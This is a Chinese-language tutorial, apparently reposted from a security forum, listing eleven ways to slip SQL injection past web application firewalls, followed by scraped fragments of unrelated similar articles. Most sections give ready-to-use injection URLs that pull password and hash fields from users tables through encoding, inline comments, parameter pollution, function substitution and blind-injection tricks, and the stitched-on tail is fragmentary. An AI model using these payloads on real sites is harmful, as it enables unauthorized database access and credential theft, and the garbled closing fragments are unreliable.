論壇:法克論壇 目錄
1.大小寫繞過
2.簡單編碼繞過
3.注釋繞過
4.分隔重寫繞過
5.http引數汙染(hpp)
6.使用邏輯運算子 or /and繞過
7.比較操作符替換
8.同功能函式替換
9.盲注無需or和and
10.加括號
11.緩衝區溢位繞過
1.大小寫繞過
這個大家都很熟悉,對於一些太垃圾的waf效果顯著,比如攔截了union,那就使用union union等等繞過。
2.簡單編碼繞過
比如waf檢測關鍵字,那麼我們讓他檢測不到就可以了。比如檢測union,那麼我們就用%55也就是u的16進製制編碼來代替u,union寫成 %55nion,結合大小寫也可以繞過一些waf,你可以隨意替換乙個或幾個都可以。
也還有大家在mysql注入中比如表名或是load檔案的時候,會把檔名或是表明用16進製制編碼來繞過waf都是屬於這類。
3.注釋繞過
這種情況比較少,適用於waf只是過濾了一次危險的語句,而沒有阻斷我們的整個查詢。
01./?id=1+union+select+1,2,3/*
比如對於上面這條查詢,waf過濾了一次union和select,那麼我們在之前在寫乙個注釋的語句,讓他把注釋裡面的過濾掉,並不影響我們的查詢。
所以繞過語句就是:
01./?id=1/*union*/union/*select*/select+1,2,3/*
還有一種和注釋有關的繞過:
比如:01.index.php?page_id=-15 /*!union*/ /*!select*/ 1,2,3,4…
可以看到,只要我們把敏感詞放到注釋裡面,注意,前面要加乙個!
4.分隔重寫繞過
還是上面的例子,適用於那種waf採用了正規表示式的情況,會檢測所有的敏感字,而不在乎你寫在**,有幾個就過濾幾個。
我們可以通過注釋分開敏感字,這樣waf的正則不起作用了,而帶入查詢的時候並不影響我們的結果。
01./?id=1+un/**/ion+sel/**/ect+1,2,3--
至於重寫繞過,適用於waf過濾了一次的情況,和我們上傳aaspsp馬的原理一樣,我們可以寫出類似ununionion這樣的。過濾一次union後就會執行我們的查詢了。
01.?id=1 ununionion select 1,2,3--
5.http引數汙染(hpp)
比如我們有這樣的語句:
01./?id=1 union select+1,2,3+from+users+where+id=1--
我們可以重複一次前面的id值新增我們的值來繞過,&id=會在查詢時變成逗號:
01./?id=1 union select+1&id=2,3+from+users+where+id=1--
這種情況成功的條件比較多,取決於具體的waf實現。
再給出乙個例子說明用法:
01./?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users--
具體分析的話就涉及到查詢語句的後台**的編寫了。
比如伺服器是這樣寫的:
01.select * from table where a=".$_get['a']." and b=".$_get['b']." limit ".$_get['c'];
那我們可以構造這樣的注入語句:
01./?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
最終解析為:
01.select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users--
可以看到,這種方式其實比較適合白盒測試,而對於黑盒滲透的話,用起來比較麻煩。但是也可以一試。
6.使用邏輯運算子 or /and繞過
01./?id=1+or+0x50=0x50
02./?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
順便解釋一下第二句話,從最裡面的括號開始分析,select+pwd+from+users+limit+1,1 這句是從users表裡查詢pwd欄位的第一條記錄,比如是admin,
然後mid(上一句),1,1就是取admin的第乙個字元,也就是a,
lower(上一句)就是把字元轉換為小寫,
然後ascii就是把a轉換成ascii碼,看等不等於74。
www.2cto.com
7.比較操作符替換
包括!= 不等於,<>不等於,< 小於,>大於,這些都可以用來替換=來繞過。
比如上乙個例子,要判斷是不是74,假設=被過濾,那麼我們可以判斷是不是大於73,是不是小於75,然後就知道是74了。。很多waf都會忘了這個。
8.同功能函式替換
substring()可以用mid(),substr()這些函式來替換,都是用來取字串的某一位字元的。
ascii()編碼可以用hex(),bin(),也就是16進製制和二進位制編碼替換。benchmark()可以用sleep()來替換,這兩個使用在基於延時的盲注中,有機會給大家介紹。
如果連這些都遮蔽了,還有一種新的方法:
01. www.2cto.com substring((select 'password'),1,1) = 0x70
02.substr((select 'password'),1,1) = 0x70
03.mid((select 'password'),1,1) = 0x70
比如這三條,都是從password裡判斷第乙個字元的值,可以用:
01.strcmp(left('password',1), 0x69) = 1
02.strcmp(left('password',1), 0x70) = 0
03.strcmp(left('password',1), 0x71) = -1
來替換,left用來取字串左起1位的值,strcmp用來比較兩個值,如果比較結果相等就為0,左邊小的話就為-1,否則為1。
還有我前幾篇說過的group_concat 和concat和concat_ws也可以互相替換。
9.盲注無需or和and
比如有這樣乙個注入點:
01.index.php?uid=123
and、or被過濾了,其實有一種更直接的方法,我們直接修改123為我們的語句生成的:
01.index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123
123的時候頁面是正確的,我們現在在盲猜hash的第一位,如果第一位等於0x42也就是b,那麼strcmp結果為0,0+123=123,所以頁面應該是正確的。否則就說明不是b,就這樣猜,不用and和or了。
10. 加括號
01./?id=1+union+(select+1,2+from+users)
比如,上面這一條被waf攔截了。可以試試加一些括號:
01./?id=1+union+(select+1,2+from+***)
02./?id=(1)union(select(1),mid(hash,1,32)from(users))
03./?id=1+union+(select'1',concat(login,hash)from+users)
04./?id=(1)union(((((((select(1),hex(hash)from(users))))))))
05./?id=(1)or(0x50=0x50)
11.緩衝區溢位繞過
這個是從國外乙個部落格看到的:
01.id=1 and (select 1)=(select 0xaaaaaaaaaaaaaaaaaaaaa)+union+select+1,2,version(),4,5,database(),user(),
8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
02.,27,28,29,30,31,32,33,34,35,36–+
其中0xaaaaaaaaaaaaaaaaaaaaa這裡a越多越好,一般要求1000個以上。
waf繞過注入
waf 是什麼?安全是乙個不斷對抗的過程,有防護手段,就有相應的繞過手段。滲透測試過程中,waf 是必定會遇到的,如何繞過 waf 就是乙個問題。waf繞過的手段千變萬化,分為3類 白盒繞過 黑盒繞過 fuzz繞過 白盒繞過 如果繞過 白盒下的繞過主要針對原始碼進行審計,分析函式功能,構造特定的包進...
繞過waf mysql爆庫 waf繞過注入
waf 是什麼?安全是乙個不斷對抗的過程,有防護手段,就有相應的繞過手段。滲透測試過程中,waf 是必定會遇到的,如何繞過 waf 就是乙個問題。waf繞過的手段千變萬化,分為3類 白盒繞過 黑盒繞過 fuzz繞過 白盒繞過 如果繞過 大小寫變形 or,or,or 等價替換 and or 例如 oo...
某waf實戰SQL注入繞過fuzz過程
01 環境簡介 伺服器 windows2008 r2 軟體 phpstudy20180211 php 5.4.45 mysql 5.5.53 某鎖win 3.1.18.13服務端版本 02 fuzz過程 以基於union注入為例 fuzz order by 過程如下 id 1 order 不攔截 i...